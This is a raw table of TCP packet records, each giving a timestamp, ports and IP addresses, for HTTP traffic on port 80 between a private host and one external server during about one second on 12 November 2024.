Nov 12, 2024 15:41:20.417798996 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.417818069 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.417829037 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.417884111 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.417896032 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.417905092 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.417918921 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.417942047 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.417953968 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.417985916 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.417994022 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.417996883 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.418018103 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.418020964 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.418025017 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.418055058 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.418315887 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.418337107 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.418345928 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.418348074 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.418369055 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.418380976 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.418404102 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.418407917 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.418416977 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.418445110 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.418467999 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.418967009 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.418978930 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.418994904 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.419008970 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.419012070 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.419012070 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.419020891 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.419030905 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.419032097 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.419040918 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.419051886 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.419058084 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.419060946 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.419070959 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.419080973 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.419111013 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.419183016 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.419193983 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.419209957 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.419214964 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.419224024 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.419230938 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.419234037 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.419255018 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.419255972 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.419264078 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.419274092 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.419276953 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.419285059 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.419294119 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.419295073 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.419305086 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.419331074 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.419331074 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.419353008 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.419445038 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.419490099 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.419522047 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.419548988 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.419559002 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.419564962 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.419570923 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.419579029 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.419594049 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.419605970 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.419608116 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.419637918 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.532967091 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533023119 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.533049107 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533061981 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533078909 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533088923 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533098936 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.533118010 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.533128023 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533138037 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533168077 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.533175945 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533185005 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533194065 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533214092 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.533227921 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.533258915 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533269882 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533282042 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533293009 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533304930 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.533328056 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.533369064 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533380985 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533395052 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533415079 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.533428907 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.533431053 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533441067 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533448935 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533458948 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533473969 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.533487082 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.533521891 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533535957 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533545971 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533556938 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533571005 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.533590078 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.533648014 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533663988 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533673048 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533683062 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533693075 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533698082 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.533704996 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533714056 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.533720970 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.533735991 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533745050 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.533746958 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533772945 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533785105 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533793926 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.533802986 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.533823013 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.533871889 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533883095 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533893108 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533914089 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533916950 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.533925056 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533934116 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533935070 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.533945084 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.533962011 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.533973932 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.533998966 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534038067 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.534044027 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534054995 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534085035 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.534086943 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534099102 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534106970 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534148932 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.534148932 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.534202099 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534212112 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534220934 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534229994 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534240961 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534244061 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.534266949 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.534288883 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.534338951 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534349918 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534358025 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534370899 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534379959 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534384012 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.534389973 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534396887 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.534400940 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534403086 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.534411907 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534424067 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.534446001 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.534465075 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534475088 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534485102 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534496069 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534517050 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.534527063 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.534568071 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534576893 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534584999 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534595013 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534603119 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534610033 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.534619093 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.534646988 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.534707069 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534754038 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.534758091 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534769058 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534779072 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534789085 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534800053 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534810066 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.534810066 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.534831047 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.534838915 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534849882 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534857988 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.534877062 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.534897089 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.535006046 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535016060 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535024881 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535037041 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535046101 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535044909 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.535056114 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.535058975 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535064936 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.535070896 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535092115 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.535092115 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.535114050 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.535155058 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535166979 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535180092 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535188913 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535196066 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.535204887 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535206079 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.535214901 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535224915 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.535233021 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.535233021 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535244942 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535254955 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535255909 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.535264969 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535274982 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535280943 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.535280943 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.535285950 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535305023 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.535319090 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.535406113 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535417080 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535425901 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535434961 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535449982 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.535476923 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.535557985 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535571098 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535578966 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535588026 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535598993 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535600901 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.535609007 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535619974 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.535620928 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535619974 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.535633087 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535649061 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.535656929 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.535708904 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535723925 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535733938 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535743952 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535753965 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535756111 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.535756111 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.535763979 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535784960 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.535805941 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.535826921 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535836935 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535845995 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535856009 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535865068 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535866022 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.535875082 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535887003 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.535900116 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.535936117 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535947084 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535954952 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535964966 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535973072 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535978079 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.535984993 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.535995960 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.535999060 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536004066 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.536010027 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536020041 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536026001 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.536041021 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.536057949 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.536206961 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536227942 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536237955 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536247969 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536257982 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536267042 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536271095 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.536278963 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536288023 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.536288023 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536297083 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.536300898 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536313057 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536322117 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.536356926 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.536367893 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536403894 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.536499977 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536509991 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536519051 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536530018 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536539078 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536544085 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.536547899 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536552906 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.536560059 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536570072 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536580086 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536580086 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.536590099 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536600113 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.536617994 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.536659956 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536670923 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536679983 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536689043 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536700010 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536701918 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.536710024 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536716938 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.536722898 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536731958 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536736012 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.536744118 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536746979 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.536768913 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.536784887 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536792040 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:20.536798000 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536813974 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536823988 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:20.536834002 CET	80	49751	185.215.113.206	192.168.2.4
